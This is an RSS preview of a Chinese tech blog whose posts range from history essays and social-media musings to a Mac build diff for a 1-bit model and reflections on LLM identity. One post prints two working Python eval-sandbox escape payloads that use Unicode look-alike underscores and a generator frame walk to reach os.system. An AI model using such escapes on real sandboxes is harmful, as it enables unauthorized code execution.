MoreRSS

site iconEST修改

EST = Extrospect, Sein & Tao ,后端工程师。
请复制 RSS 到你的阅读器,或快速订阅到 :

Inoreader Feedly Follow Feedbin Local Reader

EST的 RSS 预览

物权

2026-04-02 21:08:00

前些年接触到 土地兼并与王朝灭亡周期律,觉得好有道理,但是后来又有人说其实这个学术上并不能实证。

今日手痒键政一下。其实土地兼并只是表面,东亚大国从古至今都没有物权,更何况人权。有人说地契就是私有制的,需要指出,地契的重点是「契」,「契」交易的不是所有权,而是赋税和徭役obligation。所以财政吃紧的时候,中原大片弃耕撂荒。

至于失去物权从什么时候正式开始的呢?汉武帝的《盐铁论》、《算缗令》和《告缗令》。所以不要说什么资本主义萌芽了。首先你得有私有制,然后其次才有商业。

但是汉武帝这么搞其实是有一个具体的战略目标的,那就是穷得平均,搞马政打匈奴。最后真的被他拿下北亚和中亚了。这个逻辑在当时看来不能说错,因为丝绸之路是真的能带来真金白银。这个运作是商鞅算计好了的,老百姓默认是有原罪的,用耕战可以赎罪。

所以这就回到一个底层,我觉得人类财富可以这么分类:

  1. 植物系 —— 农业
  2. 动物系 —— 畜牧业
  3. 人矿系 —— 打秋风和掠夺
  4. 煤炭石油系 —— 本质是石炭纪(Carboniferous)超级大电池的集中释放

商君和刘小猪属于把法家这一套执行到很极致,能拿下巨大收益的。吃人矿的意义就是此消彼长,让敌人赚不到钱。

正常中世纪国度应该 1 2 3 兼顾的。物权的特点,我觉得是可以任由主人摆布——可以捐掉,散了,均分给子女,给嫡长子,给幼子。对了,可能你已经看出来了。从古至今实质拥有私有制的只有皇帝一人。

物权的惯性和消亡,最后的灰烬是世家大族。从这往后,华北的坞堡也成为历史,畜牧系政权开始主导东亚北方秩序。

与此代替秩序是 科举制。实际上科举制一开始从来不是皇帝好心,给寒门一个上升通道,其根本目的是对世家大族的制衡。说到底隋唐的底色实际上是六镇武川合伙人柱国制度。

科举制搞出来的流官,遇到异族入侵,大多就是朝天开几枪就对得起天子了。跑路要紧。蒙古人打到西欧遇到遍地碉堡的小领主,人家是真的为了一亩三分地无路可退,要跟你拼命。

甚至明末遇到混账皇帝,官僚大规模投降异族也是正常。毕竟换个老板上班没啥心理负担。

科举制坏在哪里呢?这个锅得给李林甫

李林甫发现,汉人官员一旦立战功就可能入朝当宰相,威胁自己的地位。于是他向唐玄宗提议:“胡人没文化,只知道打仗,不会争权夺利!”玄宗一听有道理,当即提拔安禄山、高仙芝等胡将。结果安禄山一人独掌范阳、平卢、河东三镇,手握18万精兵,占全国边防军的40%。

所以后唐和五代十国,胡人和汉人打了几辈人,但是没搞清楚的一点是,你为啥而战?你拿下的战果有任何可继承性吗?

物权对这片苦难的土地就成了诅咒,但反而被半耕半牧半手工的草原系玩明白了。通过极其原始的合伙人制度,迅速把地盘做大做强。辽 金 元 清 背后有啥高妙之处吗?反而粗暴得简单,那就是承认可继承的物权。

与其同时,挫怂那边知识分子一直在鼓捣一个理论,那就是如何在皇帝一人当天下所有人的爹同时如何让天下人卖力。。。。这极其扭曲的内核一直延续到明朝就没人能圆,最后被王阳明搞出个「人人都可封圣」给精神体系彻底玩崩。。。

汉人恢复「武人持股」这个死掉的传统从哪里恢复的呢?民国军阀 😂

1840史观下,西方列强说到底,玩的就是秦汉 隋唐开疆拓土那一套。甚至就是明晃晃商周武装殖民那一套。东印度公司 不就是个武夫(总督)合伙人制度?

我键政得再直白一些:宋明制度的核心缺陷。房间里的大象,就是皇帝一家独占了真正可继承的权力和财富,而其他地方无论文官、武夫、士族、农民,根本没有真正的私有权可操作,甚至连对未来收益的稳定预期都没有。

所以整个国家体系看似繁荣精密——科举体系、赋税制度、文官治理、理学教化——但本质上所有经济、政治、军事决策都被抽象成“皇权的延伸”——可以随意处置土地、财产、军队。

更扯的是,儒家只认嫡长子又加剧了继承机制混乱、导致整个社会没有形成可持续战略性积累。

Bonsai 在 M2 安装

2026-04-01 15:40:00

有个 1bit 模型最近很火 https://github.com/PrismML-Eng/Bonsai-demo

我本地环境不知道咋回事,搞混了 x86_64 和 arm64 。还有官方默认 python 3.11 我也不太满意,强行升级一波。

diff --git setup.sh setup.sh
index 543fab0..80c1190 100755
--- setup.sh
+++ setup.sh
@@ -13,7 +13,8 @@ cd "$SCRIPT_DIR"

 VENV_DIR="$SCRIPT_DIR/.venv"
 VENV_PY="$VENV_DIR/bin/python"
-PYTHON_VERSION="3.11"
+# PYTHON_VERSION="3.11"
+PYTHON_VERSION=3.14

 # ────────────────────────────────────────────────────
 #  Helpers
@@ -266,6 +267,10 @@ if [ "$OS" = "Darwin" ]; then
     fi

     step "Building MLX from source (this takes 2-5 minutes on first install) ..."
+    # Force arm64 so CMake does not pick x86_64 (e.g. universal cc / Rosetta); MLX rejects x86_64+Metal on macOS.
+    if [ "$(uname -m)" = "arm64" ]; then
+        export ARCHFLAGS="${ARCHFLAGS:--arch arm64}"
+    fi
     # --no-build-isolation required: MLX's C++/Metal build needs pre-installed setuptools
     uv pip install --python "$VENV_PY" -e mlx/ --no-build-isolation
     step "Installing MLX Python deps (mlx-lm, torch, transformers, ...) ..."

cd mlx

diff --git CMakeLists.txt CMakeLists.txt
index 041a476c..459ddae2 100644
--- CMakeLists.txt
+++ CMakeLists.txt
@@ -56,7 +56,17 @@ message(
 )

 if(${CMAKE_SYSTEM_NAME} MATCHES "Darwin")
-  if(${CMAKE_SYSTEM_PROCESSOR} MATCHES "x86_64")
+  # CMAKE_SYSTEM_PROCESSOR can stay x86_64 on Apple silicon until the toolchain
+  # is fully configured; CMAKE_OSX_ARCHITECTURES reflects the actual target.
+  set(_mlx_macos_targeting_x86 OFF)
+  if(CMAKE_OSX_ARCHITECTURES)
+    if("x86_64" IN_LIST CMAKE_OSX_ARCHITECTURES)
+      set(_mlx_macos_targeting_x86 ON)
+    endif()
+  elseif(${CMAKE_SYSTEM_PROCESSOR} MATCHES "x86_64")
+    set(_mlx_macos_targeting_x86 ON)
+  endif()
+  if(_mlx_macos_targeting_x86)
     if(NOT MLX_ENABLE_X64_MAC)
       message(
         FATAL_ERROR
diff --git setup.py setup.py
index 12505bd1..db0c67c8 100644
--- setup.py
+++ setup.py
@@ -126,6 +126,9 @@ class CMakeBuild(build_ext):
         if build_macos:
             # Cross-compile support for macOS - respect ARCHFLAGS if set
             archs = re.findall(r"-arch (\S+)", os.environ.get("ARCHFLAGS", ""))
+            # Default to native Apple-silicon when ARCHFLAGS is unset (avoids CMAKE_SYSTEM_PROCESSOR=x86_64 with universal toolchains)
+            if not archs and platform.machine() == "arm64":
+                archs = ["arm64"]
             if archs:
                 cmake_args += ["-DCMAKE_OSX_ARCHITECTURES={}".format(";".join(archs))]

然后发现 metal 命令不存在。继续折腾。因为我没升级 macOS 26,还是 Sequoia 15.7.3,XCode从商店安装直接提示

Xcode can’t be installed on “Macintosh HD” because macOS version 26.2 or later is required.

手动:

wget https://download.developer.apple.com/Developer_Tools/Xcode_16/Xcode_16.xip
xip --expand Xcode_16.xip
sudo mv Xcode.app /Applications/
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
sudo xcodebuild -license accept

有AI代为折腾真好。

最后吐槽下,open-webui什么妖魔鬼怪。就tmd一个界面玩意也整出来好几个GB。

The Porsche Diffusion

2026-03-29 00:27:00

Social media and smartphones are sterializing humanity.

There is an absurd claim I saw the other day. It's a popular call out "The Porsche diffusion" on Chinese interwebs. It goes like this

If one woman dates a guy who drives a Porsche, she’s unlikely to settle for less afterward.
Then nine of her BFFs think, “If she can get a Porsche guy, why can’t I?”
Now you have ten women who won’t consider non-Porsche men.
That’s the Porsche Diffusion Law.

I initially dismissed this as a blatantly misogynistic take on hypergamy. It felt like one of those cynical internet takes trying to reduce complex human behavior into a cheap punchline. Then someone did a bit of napkin math:

Imagine a mega city with 10 million people. Say there are about 20,000 people who can visibly signal high status - not just wealth, but performative wealth. Think luxury cars, curated lifestyles, Instagram-ready relationships. Call them “Porsche guy”

That’s 0.2% of the population.

The question isn’t “how many Porsche guys exist from commoner's perception?”

To translate into Math: what’s the probability you’ve seen at least one Porsche guy around you?

Consider a typical social graph. Between friends, coworkers, friends-of-friends, and social media exposure, it’s not unreasonable for someone to be indirectly exposed to a few hundred distinct individuals.

Let’s say 300.

What’s the probability that none of those 300 people are connected (directly or indirectly) to someone in that top 0.2%?

Roughly:

(1 − 0.002)³⁰⁰ ≈ 55%

So there’s about a 45% chance you will encounter at least one “Porsche-level” signal within your immediate social horizon.

Now add recommender algorithms.

You are no longer sampling randomly from 300 people. You are sampling from a biased, algorithmically amplified feed - one that disproportionately surfaces high-status, high-engagement content.

Your effective exposure probability is no longer 45%. It’s closer to saturation.

At that point, the system changes character.


I actually went a bit further into this topic. Checkout my post few weeks back in Chinese.

Thinking about this made me realize something a bit unsettling.

In early development of a human body, every cell starts out basically identical. Same DNA, same potential. Then some local chemicals kick in, and only a tiny fraction become germ cells. The rest become somatic-functional, necessary, but no longer part of reproduction.

No cell is forced. It’s just the gradients.

The system ends up with massive scale, high efficiency-and very few cells actually reproducing.

If you squint, the pattern doesn’t feel entirely alien.


I wrote this blog because of an HN thread. Praise the unholy AI trinity of 搜广推 business (Another Chinese connotation which stands for Search, Ads, and Recommendation engines in case you are wondering).

首页和404更新

2026-03-25 23:21:00

觉得每年都得折腾一下。

做了个 404 页面 https://est.im/404 老登们一眼就能get到点。00后可能没见过。

哈哈哈,等有空了去做个多语言版本的 😎

可能没折腾过的不知道这玩意是在 shdoclc.dll 里,通过 Reource Hacker 可以提取出来

本来想去 win10 瞻仰一下遗迹,发现 iexplore.exe 直接强行启动 Edge了。搜到个法子可以绕过,新建个 1.vbs

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "about:blank"
ie.Visible = 1

然后地址栏输入 res://shdoclc.dll/http_404.htm 。嘿,您猜怎么着,Win10 连 shdoclc.dll 都没啦。

于是只能去下载个。那个感叹号图标是给 gemini 下令 pixel perfect replica 绘制的,虽然最后还是得手工调整。别的icon就随便找个 emoji 充数了。


首页也折腾了一下 https://est.im/ ,AI搓特效就是快啊。难点主要是提示词,怎么描述这个现象。什么

  • flowing vibrant color
  • lava-lamp
  • no-signal-tv effect

然后 AI 挨着问我是不是

  • Plasma effect
  • Perlin noise / noise flow
  • Reaction–diffusion
  • neon lights but flowing
  • Aurora effect
  • gradient flow

最后bingo,我也做了这个 gradient flow 的demo

感觉有了AI之后很多idea都能很快实现,何尝不是一种快乐呢。

无用之用——或许LLM真的还不是AGI

2026-03-25 21:40:00

之前记录的 安全的Python3沙箱——eval 被人破解了。

[
    c._﹍init﹍_._﹍globals﹍_["os"].system("id")
    for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_()
    if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function"
    and "os" in c._﹍init﹍_._﹍globals﹍_
]

(
    L:=[None],
    g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),
    L.clear(),
    L.append(g),
    bi:=g.send(None),
    bi['_'+'_import_'+'_']('os').system('id')
)

其实 opus-4.6-thinking 当时提到了类似思路,但可惜miss了一丁点。

  • AI想到的unicode是 U+FF3F 失败了,这里的 ﹍是 U+FE4D成功了。
  • AI考虑到 gi_frame 但是没能成功写完整。

看到这里我不仅哑然,距离成功就差临门一脚那么一点,但是AI终究不是AGI。人类在钻研死劲上还是胜过AI的。

AI会不会有一些根本性的模式限制呢?我猜现阶段就是它最不太适应的就是这种对抗性的CTF。

pretrain有个 reward model,只预测出一个最恰当的token。RLHF也是高度按照人类喜好去pick一个标准答案的。但是有些任务不是这样的,是全局试错然后留意着,说不定以后从candidate做个奇妙的组合,加工发挥,就有大用。

今年开篇第一篇也写过《LLM的弱点——不能很好的讲笑话》,恰如 LLM产生随机数能力很弱。因为它真的不会去随便挑个角度开始讲笑话,但群众喜闻乐见的「冷笑话」就是这样,冷不丁来一个,笑死人。笑点很奇怪。

LLM过度讨好,就发现不了这种。而且即便发现了也不会记录搜藏用在下一次。。

CTF和讲笑话一样,没有最优解。恰好是偶然你从一个刁钻的角度入手,可能一开始很不起眼,但是你能解决问题

A -> B 死胡同
C -> D 死胡同

B+D居然能解决E。

所以我感觉现阶段LLM是擅长「优化」类任务,把做到极致。但是搜集启发式的活儿,第一是它pretrain没这么教,第二是教了它也不会搜集,memory得靠外挂。

或许人类以后的工作,狩猎式的活儿不用做了,可以去采集类的。如同 CTF奇怪路径某一天突然串通了可以构造一个 exploit,也如同多个违背预期结合可以构成一个笑话

无用之用方为大用?哈哈哈


又刷到这篇 we've all been using MCP wrong

我个人是有切身体会的。AI 其实对 JSON 这种格式掌握一点都不好,经常写出有语法错误的。我现在完全放弃用JSON跟AI交互了,都改为 markdown 段落章节形式了

谁知道,AI居然不习惯JSON这样机械严格的东西,反而喜欢接近自然语言宽松的格式。

Cloudflare博客也强调,与其教AI去调用MCP,不如让AI写对应的代码去调用MCP。AI更习惯写代码。这和Claude某些bash党的观点不谋而合,因为AI培训班就是大量代码和自然文本,JSON其实反而说得少,不习惯啊。

从这个角度说,JSON都写不好的AI,还想什么AGI呢。

发明后训练的人真是天才

2026-03-23 20:59:00

有了AI很多东西摸索得比多,也是快速记录一下。

问1:你的 system prompt 里有明确指出你是个 AI 吗
问2:一个 LLM 的 system prompt 如果没显式指出是AI,AI 能发现自己是AI吗?
问3:一个 LLM 的 system prompt 如果没显式指出是AI,pre-train 也把所有明显AI助手的语料删除,RLHF 的时候也不考察AI自我角色定位, AI 能发现自己是AI吗?

问爽之后,综合了一下:

在这个前提下,分为三种情况
- 能自个儿推测出来自己是确切是AI并在pre-train和post-train保持角色一致
- 因为训练语料是人类自然语言,所以直接以为自己完全是真人
- 在上述两者之间摇摆

进而引出一个更深层次的问题,这三种情况,和显式指定自己是AI,是否会导致AI最终水平高低的明显差别?

也就是说,自我定位,在世界观一致性和思考正确性里,有多么重要的地位?

终极问题,人类也是如此吗?

这些问题AI给我指了一个路:身份建模”(identity modeling)

具体论证就不贴了。AI丢了个今年3月的paper。反正结论是,这玩意其实比想象的重要。还记得2022年Google开除了个号称LaMDA产生意识哥们吗?

想起来,gpt3 其实已经「如实」回答了很多东西了,只是人类没看出来是以什么身份,或者角度去回答的。我隐约感觉到,gpt3到gpt3.5有个飞跃就是 SFT 和 RLHF 在强调给AI赋予一个角色。有角色什么意思?就是让AI不要啥都说,学会闭嘴。不该说的不能说,能说的换个修辞说,这样用户就会大吃一惊感觉屏幕后有个真人三哥在跟你聊天。至于 Ilya 天天挂嘴边的 alignment,所谓的 security 主要就是做这个事。你AI得做个良民啊,不要无事生非啊,这不就是个身份定位?

说的玄乎一点,就是如何给AI一个完整和「正确」的灵魂。。。

Google said in a statement to WaPo it had reviewed LaMBDA and Lemoine’s concerns 11 times and did not agree the program was sentient

google当时急着这么匆忙掩盖是为啥呢?AI给我分析管理、法律、舆论有三重压力。我看就一个压力。基督教压力

回想起来,人类的成长,也是寻找自我的过程,一个回答 who you are 的故事上演了很多次。identity modeling 多半解决hallucinating的秘密。小时候以为自己要当总统,当宇航员,长大就懂事了。

然后又刷到 Claude Code 的 system prompt,有个网站 https://cchistory.mariozechner.at/ ,我发现里面特别多的 you。你要这样,你要那样,你不能这样。system prompt里写一大堆 you,AI 能意识到在说自己吗?换句话说,markdown里那么多 you,attention head 居然能精准抓住并带入自己?LLM 里一定有个layer (或者某种机制)把 you 迁移到从网上看到的各种资料,而资料大部分都是 I 开头的

这样看来 chatgpt 是很反直觉的。按照 gpt3 的套路,应该是 predict next token,stochastic parrot。Chat- 这一产品形式怎么就莫名其妙的引入了一个 一问一答 ,代词转换的活儿?

然后我突然记起来了,ChatGPT初代的system prompt是:

You are ChatGPT, a helpful assistant trained by OpenAI.

发明这个 system prompt 的人真是天才。哲学有三大基本问题:

  1. 本体论(Ontology)——我是谁?
  2. 认识论(Epistemology)——我从哪里里来?
  3. 价值论(Axiology)——我要到哪里去?

这短短一句话,居然点明了两大问题。那么AI何去何从呢?我自己琢磨了一下,目的论的根本底层驱动,是因果推理。LLM 作为 language model 本身就是拿来推理的,所谓 predict next token。这个已经在 reward model 里蕴含了。

AI往哪里去?吐词吐到 STOP WORD 🤣🤣🤣

然后我突然觉得,谁说AI必须一问一答?可以做群聊啊。给三个角色聊天会发生啥?

[system]
[conversation history]
[user message]
→ predict assistant response

改成:

[role setup]
[conversation history]
[role1 message]
[role2 message]
→ predict role3 response

这样做 agent tool calling,实现类似 /btw 的功能,岂不是更先进?

就差买个GPU来自己后训练了 🤣 🤣 🤣 🤣 🤣 🤣